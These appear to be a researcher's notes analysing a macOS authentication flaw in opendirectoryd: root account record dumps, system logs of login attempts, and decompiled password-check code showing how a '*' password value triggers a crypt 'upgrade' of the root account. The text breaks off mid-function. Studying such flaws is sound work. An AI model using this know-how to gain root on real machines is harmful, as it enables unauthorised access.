Dict {
smb_sid = Array {
S-1-5-18
}
uid = Array {
0
}
passwd = Array {
*
}
shell = Array {
/bin/sh
}
home = Array {
/var/root
}
realname = Array {
System Administrator
}
generateduid = Array {
FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000000
}
gid = Array {
0
}
name = Array {
root
BUILTIN\Local System
}
}
Messages recived when doing the 2 step System Preferences
dance (log and od debug level enabled).
First try
com.apple.opendirectoryd.systemcache error 00:40:15.735385 -0800 opendirectoryd SystemCache Failed to get SID prefix
com.apple.opendirectoryd default 00:40:21.038332 -0800 opendirectoryd opendirectoryd unable to find node BF99D1A8-4FC8-4652-B765-DDD9C3C4BB77
com.apple.opendirectoryd default 00:40:21.038469 -0800 opendirectoryd opendirectoryd ODQueryCreateWithNode failed with result 90001
com.apple.opendirectoryd fault 00:40:21.384332 -0800 opendirectoryd opendirectoryd found password attribute - using a very low security method of 'crypt'
com.apple.AccountPolicy default 00:40:21.429488 -0800 opendirectoryd AccountPolicy AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.opendirectoryd fault 00:40:21.429743 -0800 opendirectoryd PlistFile Authentication failed for <private> with ODErrorCredentialsInvalid
com.apple.opendirectoryd default 00:40:21.430066 -0800 opendirectoryd opendirectoryd ODRecordVerifyPassword failed with result ODErrorCredentialsInvalid
Second try
com.apple.libsqlite3 error 00:40:23.377719 -0800 opendirectoryd libsqlite3.dylib near "check": syntax error
com.apple.AccountPolicy default 00:40:23.378832 -0800 opendirectoryd AccountPolicy AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.AccountPolicy default 00:40:23.388712 -0800 opendirectoryd AccountPolicy AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.libsqlite3 error 00:40:26.015889 -0800 opendirectoryd libsqlite3.dylib near "check": syntax error
com.apple.AccountPolicy default 00:40:26.016952 -0800 opendirectoryd AccountPolicy AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.AccountPolicy default 00:40:26.023857 -0800 opendirectoryd AccountPolicy AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.opendirectoryd default 00:40:26.611095 -0800 opendirectoryd opendirectoryd ODNodeSetCredentials failed with result ODErrorCredentialsParameterError
SQLite messages are related to PlistFile backend change needed for SecureToken (who are maintained in a SQLite file instead of plist).
On first pass, we notice a crypt alert that is gone on second pass.
As a comparaison, here is a regular wrong password
com.apple.opendirectoryd default 00:42:10.858793 -0800 opendirectoryd opendirectoryd unable to find node 946615A9-2056-4400-A295-FD716D6ECDEB
com.apple.opendirectoryd default 00:42:10.858977 -0800 opendirectoryd opendirectoryd ODQueryCreateWithNode failed with result 90001
com.apple.AccountPolicy default 00:42:12.642066 -0800 opendirectoryd AccountPolicy AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.opendirectoryd fault 00:42:12.642232 -0800 opendirectoryd PlistFile Authentication failed for <private> with ODErrorCredentialsInvalid
com.apple.opendirectoryd default 00:42:12.642520 -0800 opendirectoryd opendirectoryd ODRecordVerifyPassword failed with result ODErrorCredentialsInvalid
com.apple.AccountPolicy default 00:42:14.673544 -0800 opendirectoryd AccountPolicy AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.opendirectoryd fault 00:42:14.673665 -0800 opendirectoryd PlistFile Authentication failed for <private> with ODErrorCredentialsInvalid
com.apple.opendirectoryd default 00:42:14.673885 -0800 opendirectoryd opendirectoryd ODRecordVerifyPassword failed with result ODErrorCredentialsInvalid
And here is a regular good password
com.apple.AccountPolicy default 00:43:13.391238 -0800 opendirectoryd AccountPolicy AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.AccountPolicy default 00:43:13.406707 -0800 opendirectoryd AccountPolicy AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.AccountPolicy default 00:43:14.175801 -0800 opendirectoryd AccountPolicy AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
Dict {
shell = Array {
/bin/sh
}
HeimdalSRPKey = Array {
??S???L???\???V???v??{?ջ?0a?t? ??]`?e????k????Fvh?"?vZ?~M?LG?
???W????0.??X?*bp4????J?
?/?
-?BqLg???vw禝*lc?Ϝ????rK?-??[ƺ)?GI?zS???on????@?(?]v?[v?>???Q?qkE???s?2qu%K??????#!F?????<c?#s????g}?$? JtAr~wH????X?9?1?CϙM??H???Hvˍpi.?
??'??????k???N?w`?D=2?&+{k?I???S?`??????D#/???}? -??y9??n?tq??
??ڌ"R?????\46??;g?VmV3??n??sT`Y??=Z??P???6
!?T?????z?-??dR?Sn?!b?'?wy??4+0~??&/LL?B?!??/?=^???uv8?#<?!0??]jHK?j???(%>??
}
uid = Array {
0
}
accountPolicyData = Array {
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>failedLoginCount</key>
<integer>0</integer>
<key>failedLoginTimestamp</key>
<integer>0</integer>
<key>passwordLastSetTime</key>
<real>1511909669.4670889</real>
</dict>
</plist>
}
authentication_authority = Array {
;ShadowHash;HASHLIST:<SALTED-SHA512-PBKDF2,SRP-RFC5054-4096-SHA512-PBKDF2>
;Kerberosv5;;root@LKDC:SHA1.369537B6F5691C2AEE53D6518EEBD97AE699B35A;LKDC:SHA1.369537B6F5691C2AEE53D6518EEBD97AE699B35A;
}
smb_sid = Array {
S-1-5-18
}
realname = Array {
System Administrator
}
generateduid = Array {
FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000000
}
KerberosKeys = Array {
0?K???B0?>0p?+0)??" in?E-@
??Ů???L?_?? ~P??9\??'?A0???86LKDC:SHA1.369537B6F5691C2AEE53D6518EEBD97AE699B35Aroot0`???????-?^?J#??R??A0???86LKDC:SHA1.369537B6F5691C2AEE53D6?4??,???;??R?? ??A0???86LKDC:SHA1.369537B6F5691C2AEE53D6518EEBD97AE699B35Aroot
}
gid = Array {
0
}
home = Array {
/var/root
}
passwd = Array {
********
}
_writers_passwd = Array {
root
}
record_daemon_version = Array {
4840000
}
name = Array {
root
BUILTIN\Local System
}
ShadowHashData = Array {
bplist00?
_SRP-RFC5054-4096-SHA512-PBKDF2_SALTED-SHA512-PBKDF2? XverifierTsaltZiterationsOx???1wQ??JǪ??#??????T???????٩g-??sl??7S?^?T????}?.P?Lswғb?M)eFc?X??]??G!˜?E????ێ?O?P|ÂU????A?A????)9+?W?????g&B?ߓ??'?a?c????3?
?? [?T??LL??d??hײ?'E?C?P??D"Džg??yPV?p????X????z1[??C.w??16??±?=a????.D??,?S?"IB??D\??z)iS???-M&??T??}g????H??Zd?:<?O?W??ݵ?KoEg
??~2??Y????R???????V??s;R?????]Fqn??????w&?=<4??v??7O ǯʶq?
??? ]?;?ѝ{?hz'F?
2???I????h?Q_?P_u?<??G?:(=????KF?X?z?te?]p?O ?koM?=H0?x??JvJBj?F?<|,qigkT`o?????c
.ELUZei???? C
}
}
Somewhere in the password check chain on the PlistFile backend we can notice and upgrade process from crypt to new gen authentication model.
int sub_826b(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5, int arg6, int arg7) {
rcx = arg3;
rdx = arg2;
r14 = arg5;
r15 = arg4;
rbx = arg1;
var_70 = arg0;
r12 = arg6;
var_30 = **___stack_chk_guard;
var_54 = 0x1388;
r13 = 0x1388;
if (r12 == 0x0) goto loc_882d;
loc_82c5:
var_50 = rcx;
var_A0 = rdx;
if (rbx != 0x0) {
rax = odconnection_get_context(rbx);
}
else {
rax = odmoduleconfig_get_context(rdx);
}
var_60 = r14;
var_68 = rbx;
var_98 = rax;
if (rax == 0x0) goto loc_88c0;
loc_82ff:
r14 = arg7;
if (uuid_parse(r14, &var_40) == 0x0) {
var_88 = 0x0;
var_80 = 0x0;
var_90 = r14 + 0x5b0;
var_A8 = var_98 + 0x30;
rsp = (rsp - 0x10) + 0x10;
r13 = securetoken_helpers_verify_password(*qword, var_70, r15, var_60, &var_40, r14 + 0x5b0, var_98 + 0x30);
rax = sub_5192(var_98, r15, r12, r14, &var_88, &var_80);
var_78 = r15;
if (rax != 0x0) {
if ((*(int8_t *)(r14 + 0x28) & 0xd2) != 0x0) {
rax = sub_591c();
var_54 = rax;
if (rax == 0x0) {
r12 = 0x0;
rbx = odauthauthorities_get_shadowhashtypes(var_90, 0x0);
if (rbx != *(int32_t *)(r14 + 0x28)) {
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_1b8b6 */ } });
}
r12 = 0x1;
if (os_log_type_enabled(*qword, 0x1) != 0x0) {
r14 = *qword;
*(int32_t *)(rsp - 0x10) = 0x4000200;
*(int32_t *)(rsp - 0xc) = *(int32_t *)(arg7 + 0x28);
*(int8_t *)(rsp - 0x8) = 0x0;
*(int8_t *)(rsp - 0x7) = 0x4;
*(int32_t *)(rsp - 0x6) = rbx;
_os_log_impl(rip - 0x8424, r14, 0x1, "hashes need to resynced hashes 0x%x != 0x%x", rsp - 0x10, 0xe);
rsp = rsp;
r15 = var_78;
}
}
}
else {
r12 = 0x0;
}
}
else {
var_54 = 0x13ec;
r12 = 0x0;
}
rdi = 0x0;
if (rdi != 0x0) {
CFURLDestroyResource(rdi, 0x0);
CFRelease(0x0);
}
rdi = 0x0;
if (rdi != 0x0) {
CFRelease(rdi);
}
if (r12 != 0x0) {
sub_13d00(arg7, var_60);
sub_14324(var_70, var_A0, var_68, var_50, r15, var_60, arg7);
rsp = (rsp - 0x10) + 0x10;
}
}
else {
rax = *_kODAttributeTypePassword;
rax = odproplist_get_array(r12, *rax);
if (rax == 0x0) {
rax = odproplist_get_array(r12, @"passwd");
if (rax != 0x0) {
var_41 = 0x0;
var_54 = 0x1388;
if (od_verify_crypt_password(var_70, rax, var_60, &var_54, &var_41) != 0x0) {
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_16635 */ } });
}
if (os_log_type_enabled(*qword, 0x1) != 0x0) {
r12 = *qword;
*(int16_t *)(rsp - 0x10) = 0x0;
_os_log_impl(rip - 0x84dd, r12, 0x1, "found crypt password in user-record - upgrading to shadowhash or securetoken", rsp - 0x10, 0x2);
rsp = rsp;
r15 = var_78;
}
sub_13d00(arg7, var_60);
sub_14324(var_70, var_A0, var_68, var_50, r15, var_60, arg7);
rsp = (rsp - 0x10) + 0x10;
}
}
}
else {
var_41 = 0x0;
var_54 = 0x1388;
if (od_verify_crypt_password(var_70, rax, var_60, &var_54, &var_41) != 0x0) {
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_16635 */ } });
}
if (os_log_type_enabled(*qword, 0x1) != 0x0) {
r12 = *qword;
*(int16_t *)(rsp - 0x10) = 0x0;
_os_log_impl(rip - 0x84dd, r12, 0x1, "found crypt password in user-record - upgrading to shadowhash or securetoken", rsp - 0x10, 0x2);
rsp = rsp;
r15 = var_78;
}
sub_13d00(arg7, var_60);
sub_14324(var_70, var_A0, var_68, var_50, r15, var_60, arg7);
rsp = (rsp - 0x10) + 0x10;
}
}
}
rax = var_54;
if (rax != 0x0) {
if (rax != 0x1388) {
r15 = var_50;
r14 = var_68;
if (rax == 0x13ec) {
r12 = r13 == 0x0 ? 0x1 : 0x0;
}
else {
r12 = 0x0;
}
}
else {
r15 = var_50;
r14 = var_68;
if (r13 != 0x0) {
r12 = 0x0;
}
else {
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_16635 */ } });
}
if (os_log_type_enabled(*qword, 0x10) != 0x0) {
r15 = *qword;
*(int16_t *)(rsp - 0x10) = 0x0;
_os_log_error_impl(rip - 0x8757, r15, 0x10, "Successfully verified using SecureToken but failed wih SecureToken (out-of-sync)", rsp - 0x10, 0x2);
r12 = 0x0;
rsp = rsp;
}
else {
r12 = 0x0;
}
r15 = var_50;
}
}
rbx = 0x1;
if (0x0 == 0x0) {
rax = r12 ^ 0x1;
if (rax != 0x0) {
rdi = var_60;
if ((rdi == 0x0) || (CFStringGetLength(rdi) == 0x0)) {
rbx = 0x0;
}
}
}
}
else {
r12 = 0x1;
if (r13 != 0x1388) {
r14 = var_68;
if (r13 == 0x13ec) {
rbx = &var_C8;
*rbx = 0x0;
*(rbx + 0x8) = rbx;
*(int32_t *)(rbx + 0x10) = 0x0;
*(int32_t *)(rbx + 0x14) = 0x20;
*(int8_t *)(rbx + 0x18) = 0x0;
rcx = var_98;
rax = *(rcx + 0x38);
if ((((rax != 0x0) && (*(rax + 0x30) != 0x0)) && (*(rcx + 0x18) != 0x0)) && (*(int8_t *)(rcx + 0x50) == 0x2)) {
var_F8 = *__NSConcreteStackBlock;
*(int32_t *)(&var_F8 + 0x8) = 0x42000000;
*(int32_t *)(&var_F8 + 0xc) = 0x0;
*(&var_F8 + 0x10) = sub_1760e;
*(&var_F8 + 0x18) = 0x27a88;
*(&var_F8 + 0x28) = r15;
*(&var_F8 + 0x20) = rbx;
_sqlitehelper_transaction(*(rcx + 0x18), "securetoken check", &var_F8);
_Block_object_dispose(rbx, 0x8);
if (*(int8_t *)(var_C0 + 0x18) != 0x0) {
securetoken_helpers_convert_user(*qword, var_70, r15, var_60, &var_40, var_90, var_A8);
rsp = (rsp - 0x10) + 0x10;
}
}
else {
_Block_object_dispose(&var_C8, 0x8);
}
}
}
else {
r14 = var_68;
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_16635 */ } });
}
if (os_log_type_enabled(*qword, 0x10) != 0x0) {
rbx = *qword;
*(int16_t *)(rsp - 0x10) = 0x0;
_os_log_error_impl(rip - 0x87c0, rbx, 0x10, "Successful verification using Shadowhash but failed SecureToken (out-of-sync)", rsp - 0x10, 0x2);
rsp = rsp;
}
}
rbx = 0x1;
r15 = var_50;
}
r13 = sub_174de(r14, var_70, var_A0, r15, var_78, arg7, r12 & 0xff, rbx & 0xff);
}
goto loc_882d;
loc_882d:
if (**___stack_chk_guard == var_30) {
rax = r13;
}
else {
rax = __stack_chk_fail();
}
return rax;
loc_88c0:
rax = __assert_rtn("_verify_password_simple", "/BuildRoot/Library/Caches/com.apple.xbs/Sources/opendirectoryd_executables/opendirectoryd-483.1.4/src/modules/PlistFile/PlistFile.c", 0xe23, "plist_ctx");
return rax;
}
Used by the PlistFile backend to check the crypt password and source of the found password attribute - using a very low security method of 'crypt'
message.
int _od_verify_crypt_password() {
rbx = r8;
var_58 = rcx;
var_50 = rdx;
r15 = rsi;
if (r15 == 0x0) goto loc_10001d9be;
loc_10001d932:
r13 = CFArrayGetCount(r15);
if (r13 == 0x0) goto loc_10001d9bb;
loc_10001d942:
if (CFArrayContainsValue(r15, 0x0, r13) == 0x1) {
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_1000210cb */ } });
}
if (os_log_type_enabled(*qword, 0x2) != 0x0) {
rbx = *qword;
*(int16_t *)(rsp - 0x10) = 0x0;
_os_log_impl(__mh_execute_header, rbx, 0x2, "found password marker, deferring to other methods", rsp - 0x10, 0x2);
rax = 0x0;
}
else {
rax = 0x0;
}
}
else {
rax = 0x1;
if (r13 > 0x0) {
r12 = 0x0;
var_48 = r15;
do {
r14 = CFArrayGetValueAtIndex(r15, r12);
if (CFGetTypeID(r14) == CFStringGetTypeID()) {
r15 = r13;
var_40 = 0x0;
rbx = _od_cstr_from_cfstring(r14, &var_40);
var_38 = 0x0;
rax = _od_cstr_from_cfstring(var_50, &var_38);
var_29 = 0x0;
_crypt_verify(rbx, rax, var_58, &var_29);
if (var_29 != 0x0) {
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_1000210cb */ } });
}
if (os_log_type_enabled(*qword, 0x11) != 0x0) {
r14 = *qword;
*(int16_t *)(rsp - 0x10) = 0x0;
_os_log_fault_impl(__mh_execute_header, r14, 0x11, "found password attribute - using a very low security method of 'crypt'", rsp - 0x10, 0x2);
rsp = rsp;
}
}
rbx = var_38;
if (rbx != 0x0) {
__bzero(rbx, malloc_size(rbx));
free(var_38);
}
rbx = var_40;
r13 = r15;
if (rbx != 0x0) {
__bzero(rbx, malloc_size(rbx));
free(var_40);
}
r15 = var_48;
}
else {
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_1000210cb */ } });
}
if (os_log_type_enabled(*qword, 0x10) != 0x0) {
rbx = *qword;
*(int16_t *)(rsp - 0x10) = 0x0;
_os_log_error_impl(__mh_execute_header, rbx, 0x10, "record contains invalid password data", rsp - 0x10, 0x2);
rsp = rsp;
}
}
r12 = r12 + 0x1;
} while (r13 != r12);
rax = 0x1;
}
}
return rax;
loc_10001d9bb:
*(int8_t *)rbx = 0x1;
goto loc_10001d9be;
loc_10001d9be:
rax = 0x0;
return rax;
}
int _crypt_verify(int arg0, int arg1, int arg2, int arg3) {
r12 = arg3;
r14 = arg2;
r15 = arg1;
rbx = arg0;
var_30 = **___stack_chk_guard;
intrinsic_movaps(var_40, 0x0, arg2, arg3);
intrinsic_movaps(var_50, 0x0);
intrinsic_movaps(var_60, 0x0);
intrinsic_movaps(var_70, 0x0);
intrinsic_movaps(var_80, 0x0);
intrinsic_movaps(var_90, 0x0);
var_A0 = intrinsic_movaps(var_A0, 0x0);
var_B0 = intrinsic_movaps(var_B0, 0x0);
if (strncmp(arg0, "{SHA}", 0x5) == 0x0) goto loc_10005ed18;
loc_10005ebea:
if (strncmp(rbx, "{SSHA}", 0x6) == 0x0) goto loc_10005ed8f;
loc_10005ec06:
if (strncmp(rbx, "{MD5}", 0x5) == 0x0) goto loc_10005ee51;
loc_10005ec22:
if (strncmp(rbx, "{SMD5}", 0x6) != 0x0) {
intrinsic_movaps(var_100, 0x0);
intrinsic_movaps(var_110, 0x0);
intrinsic_movaps(var_120, 0x0);
var_130 = intrinsic_movaps(var_130, 0x0);
r13 = rbx + 0x7;
if (strncasecmp(rbx, "{CRYPT}", 0x7) != 0x0) {
r13 = rbx;
}
if ((strncmp(r13, "$!$", 0x3) != 0x0) && (strncmp(r13, "$1$", 0x3) != 0x0)) {
var_D0 = *(int8_t *)r13;
*(int8_t *)(&var_D0 + 0x1) = *(int8_t *)(r13 + 0x1);
*(int8_t *)(&var_D0 + 0x2) = 0x0;
rsi = &var_178;
*rsi = *__NSConcreteStackBlock;
*(int32_t *)(rsi + 0x8) = 0x40000000;
*(int32_t *)(rsi + 0xc) = 0x0;
*(rsi + 0x10) = sub_10005f060;
*(rsi + 0x18) = 0x100086540;
*(rsi + 0x20) = &var_130;
*(rsi + 0x28) = r15;
*(rsi + 0x30) = &var_D0;
}
else {
rsi = &var_1B8;
*rsi = *__NSConcreteStackBlock;
*(int32_t *)(rsi + 0x8) = 0x40000000;
*(int32_t *)(rsi + 0xc) = 0x0;
*(rsi + 0x10) = sub_10005f02b;
*(rsi + 0x18) = 0x100086520;
*(rsi + 0x20) = &var_130;
*(rsi + 0x28) = r15;
*(rsi + 0x30) = r13;
}
*(rsi + 0x38) = 0x40;
dispatch_sync(*__dispatch_main_q, rsi);
if (strcmp(&var_130, r13) == 0x0) {
*(int32_t *)r14 = 0x0;
}
*(int8_t *)r12 = 0x1;
}
else {
if ((*(int8_t *)(rbx + 0x6) != 0x0) && (sasl_decode64(rbx + 0x6, strlen(rbx + 0x6), &var_B0, 0x80, &var_134) == 0x0)) {
CC_MD5_Init(&var_130);
CC_MD5_Update(&var_130, r15, strlen(r15));
CC_MD5_Update(&var_130, &var_A0, var_134 + 0xfffffff0);
CC_MD5_Final(&var_D0, &var_130);
if (memcmp(&var_D0, &var_B0, 0x10) == 0x0) {
*(int32_t *)r14 = 0x0;
}
intrinsic_movaps(var_D0, 0x0);
}
}
goto loc_10005ef51;
loc_10005ef51:
rax = *___stack_chk_guard;
rax = *rax;
if (rax != var_30) {
rax = __stack_chk_fail();
}
return rax;
loc_10005ee51:
if ((*(int8_t *)(rbx + 0x5) == 0x0) || (sasl_decode64(rbx + 0x5, strlen(rbx + 0x5), &var_B0, 0x80, &var_134) != 0x0)) goto loc_10005ef51;
loc_10005ee8c:
CC_MD5_Init(&var_130);
CC_MD5_Update(&var_130, r15, strlen(r15));
CC_MD5_Final(&var_D0, &var_130);
rsi = &var_B0;
rdx = 0x10;
rdi = &var_D0;
goto loc_10005ee38;
loc_10005ee38:
if (memcmp(rdi, rsi, rdx) == 0x0) {
*(int32_t *)r14 = 0x0;
}
goto loc_10005ef51;
loc_10005ed8f:
if ((*(int8_t *)(rbx + 0x6) == 0x0) || (sasl_decode64(rbx + 0x6, strlen(rbx + 0x6), &var_B0, 0x80, &var_134) != 0x0)) goto loc_10005ef51;
loc_10005edca:
r12 = &var_D0;
*(int128_t *)r12 = intrinsic_movaps(*(int128_t *)r12, 0x0);
*(int32_t *)(r12 + 0x10) = 0x0;
rbx = &var_130;
CC_SHA1_Init(rbx);
CC_SHA1_Update(rbx, r15, strlen(r15));
rsi = &var_9C;
rdx = var_134 + 0xffffffec;
rdi = rbx;
goto loc_10005ee19;
loc_10005ee19:
CC_SHA1_Update(rdi, rsi, rdx);
CC_SHA1_Final(r12, rbx);
rsi = &var_B0;
rdx = 0x14;
rdi = r12;
goto loc_10005ee38;
loc_10005ed18:
if ((*(int8_t *)(rbx + 0x5) == 0x0) || (sasl_decode64(rbx + 0x5, strlen(rbx + 0x5), &var_B0, 0x80, &var_134) != 0x0)) goto loc_10005ef51;
loc_10005ed53:
r12 = &var_D0;
*(int128_t *)r12 = intrinsic_movaps(*(int128_t *)r12, 0x0);
*(int32_t *)(r12 + 0x10) = 0x0;
rbx = &var_130;
CC_SHA1_Init(rbx);
rax = strlen(r15);
rdi = rbx;
rsi = r15;
rdx = rax;
goto loc_10005ee19;
}
Block at line 47 is executed since it's *
value.
int _securetoken_helpers_convert_user(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5, int arg6) {
r13 = arg5;
r15 = arg4;
r14 = arg3;
var_40 = arg2;
r12 = arg1;
rbx = arg0;
var_30 = **___stack_chk_guard;
if (_odauthauthorities_disabledtag(r13, 0x4) == 0x0) goto loc_100057dd1;
loc_100057d54:
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
}
if (os_log_type_enabled(*qword, 0x1) == 0x0) goto loc_100057ed6;
loc_100057d7e:
r14 = rsp;
*(int8_t *)(rsp - 0x20) = 0x2;
*(int8_t *)(rsp - 0x1f) = 0x3;
*(int8_t *)(rsp - 0x1e) = 0x40;
*(int8_t *)(rsp - 0x1d) = 0x8;
*(rsp - 0x1c) = var_40;
*(int8_t *)(rsp - 0x14) = 0x12;
*(int8_t *)(rsp - 0x13) = 0x4;
*(int32_t *)(rsp - 0x12) = 0x10;
*(int8_t *)(rsp - 0xe) = 0x32;
*(int8_t *)(rsp - 0xd) = 0x8;
*(rsp - 0xc) = r15;
goto loc_100057eb9;
loc_100057eb9:
_os_log_impl();
rbx = 0x0;
goto loc_100058669;
loc_100058669:
if (**___stack_chk_guard == var_30) {
rax = rbx;
}
else {
rax = __stack_chk_fail();
}
return rax;
loc_100057ed6:
rbx = 0x0;
goto loc_100058669;
loc_100057dd1:
rcx = arg6;
if (rcx == 0x0) goto loc_100057e45;
loc_100057dda:
rax = *(rcx + 0x8);
if ((rax == 0x0) || (*(rax + 0x30) == 0x0)) goto loc_100057e45;
loc_100057dea:
var_38 = rsp;
rax = *(rcx + 0x18);
rcx = rsp - (rax + 0xf & 0xfffffffffffffff0);
rsp = rcx;
var_70 = rcx;
var_68 = rax;
var_88 = 0x0;
rax = _od_cstr_from_cfstring(r14, &var_88);
var_98 = rax;
var_60 = rbx;
rbx = r12;
if (rax != 0x0) {
rax = strlen(rax);
}
else {
rax = 0x0;
}
var_50 = 0x0;
r12 = arg6;
if (APFSVolumeGetUnlockRecord(*(*(r12 + 0x8) + 0x30), r15, &var_50) == 0x0) goto loc_100058079;
loc_100057f07:
var_58 = 0x0;
rax = APFSVolumeListUUIDsOfUnlockRecords(*(*(r12 + 0x8) + 0x30), &var_58);
r12 = rbx;
if (rax == 0x0) goto loc_1000580bf;
loc_100057f2b:
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
}
if (os_log_type_enabled(*qword, 0x1) != 0x0) {
r14 = *qword;
*(int8_t *)(rsp - 0x20) = 0x2;
*(int8_t *)(rsp - 0x1f) = 0x3;
*(int8_t *)(rsp - 0x1e) = 0x40;
*(int8_t *)(rsp - 0x1d) = 0x8;
*(rsp - 0x1c) = var_40;
*(int8_t *)(rsp - 0x14) = 0x12;
*(int8_t *)(rsp - 0x13) = 0x4;
*(int32_t *)(rsp - 0x12) = 0x10;
*(int8_t *)(rsp - 0xe) = 0x32;
*(int8_t *)(rsp - 0xd) = 0x8;
*(rsp - 0xc) = r15;
_os_log_impl(__mh_execute_header, r14, 0x1, "Converting %@ (%{public,uuid_t}.16P) to use SecureToken", rsp - 0x20, 0x1c);
rsp = rsp;
}
r14 = sub_10006363f(0x2, &var_98, r15, &var_70);
if (r14 == 0x0) goto loc_1000582fb;
loc_100057fd9:
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
}
if (os_log_type_enabled(*qword, 0x10) != 0x0) {
rbx = *qword;
*(int8_t *)(rsp - 0x30) = 0x2;
*(int8_t *)(rsp - 0x2f) = 0x4;
*(int8_t *)(rsp - 0x2e) = 0x40;
*(int8_t *)(rsp - 0x2d) = 0x8;
*(rsp - 0x2c) = var_40;
*(int8_t *)(rsp - 0x24) = 0x12;
*(int8_t *)(rsp - 0x23) = 0x4;
*(int32_t *)(rsp - 0x22) = 0x10;
*(int8_t *)(rsp - 0x1e) = 0x32;
*(int8_t *)(rsp - 0x1d) = 0x8;
*(rsp - 0x1c) = r15;
*(int8_t *)(rsp - 0x14) = 0x0;
*(int8_t *)(rsp - 0x13) = 0x4;
*(int32_t *)(rsp - 0x12) = r14;
_os_log_error_impl(__mh_execute_header, rbx, 0x10, "Converting %@ (%{public,uuid_t}.16P) to use SecureToken - failed while generating new verifier %{errno}d", rsp - 0x30, 0x22);
rbx = 0x0;
}
else {
rbx = 0x0;
}
goto loc_1000583b5;
loc_1000583b5:
r12 = var_38;
goto loc_100058655;
loc_100058655:
rdi = var_88;
if (rdi != 0x0) {
free(rdi);
}
goto loc_100058669;
loc_1000582fb:
r14 = arg6;
if (sub_1000573c8(&var_70, &var_98, r14) != 0x0) {
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
}
r12 = var_38;
if (os_log_type_enabled(*qword, 0x10) != 0x0) {
rbx = *qword;
*(int8_t *)(rsp - 0x20) = 0x2;
*(int8_t *)(rsp - 0x1f) = 0x3;
*(int8_t *)(rsp - 0x1e) = 0x40;
*(int8_t *)(rsp - 0x1d) = 0x8;
*(rsp - 0x1c) = var_40;
*(int8_t *)(rsp - 0x14) = 0x12;
*(int8_t *)(rsp - 0x13) = 0x4;
*(int32_t *)(rsp - 0x12) = 0x10;
*(int8_t *)(rsp - 0xe) = 0x32;
*(int8_t *)(rsp - 0xd) = 0x8;
*(rsp - 0xc) = r15;
_os_log_error_impl(__mh_execute_header, rbx, 0x10, "Converting %@ (%{public,uuid_t}.16P) to use SecureToken - failed to generate access token", rsp - 0x20, 0x1c);
rbx = 0x0;
}
else {
rbx = 0x0;
}
}
else {
rax = *_kCFAllocatorNull;
rax = CFDataCreateWithBytesNoCopy(**_kCFAllocatorDefault, var_70, var_68, *rax);
var_48 = rax;
r14 = APFSVolumeSetUnlockRecord(*(*(r14 + 0x8) + 0x30), r15, rax, *(r14 + 0x8));
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
}
if (r14 != 0x0) {
if (os_log_type_enabled(*qword, 0x10) != 0x0) {
r14 = *qword;
*(int8_t *)(rsp - 0x30) = 0x2;
*(int8_t *)(rsp - 0x2f) = 0x4;
*(int8_t *)(rsp - 0x2e) = 0x40;
*(int8_t *)(rsp - 0x2d) = 0x8;
*(rsp - 0x2c) = var_40;
*(int8_t *)(rsp - 0x24) = 0x12;
*(int8_t *)(rsp - 0x23) = 0x4;
*(int32_t *)(rsp - 0x22) = 0x10;
*(int8_t *)(rsp - 0x1e) = 0x32;
*(int8_t *)(rsp - 0x1d) = 0x8;
*(rsp - 0x1c) = r15;
*(int8_t *)(rsp - 0x14) = 0x0;
*(int8_t *)(rsp - 0x13) = 0x4;
*(int32_t *)(rsp - 0x12) = 0x0;
_os_log_error_impl(__mh_execute_header, r14, 0x10, "Converting %@ (%{public,uuid_t}.16P) to use SecureToken - failed while creating access token %{errno}d", rsp - 0x30, 0x22);
rbx = 0x0;
}
else {
rbx = 0x0;
}
}
else {
if (os_log_type_enabled(*qword, 0x0) != 0x0) {
r14 = *qword;
*(int8_t *)(rsp - 0x20) = 0x2;
*(int8_t *)(rsp - 0x1f) = 0x3;
*(int8_t *)(rsp - 0x1e) = 0x40;
*(int8_t *)(rsp - 0x1d) = 0x8;
*(rsp - 0x1c) = var_40;
*(int8_t *)(rsp - 0x14) = 0x12;
*(int8_t *)(rsp - 0x13) = 0x4;
*(int32_t *)(rsp - 0x12) = 0x10;
*(int8_t *)(rsp - 0xe) = 0x32;
*(int8_t *)(rsp - 0xd) = 0x8;
*(rsp - 0xc) = r15;
_os_log_impl(__mh_execute_header, r14, 0x0, "Converted %@ (%{public,uuid_t}.16P) to use SecureToken Successfully", rsp - 0x20, 0x1c);
rsp = rsp;
}
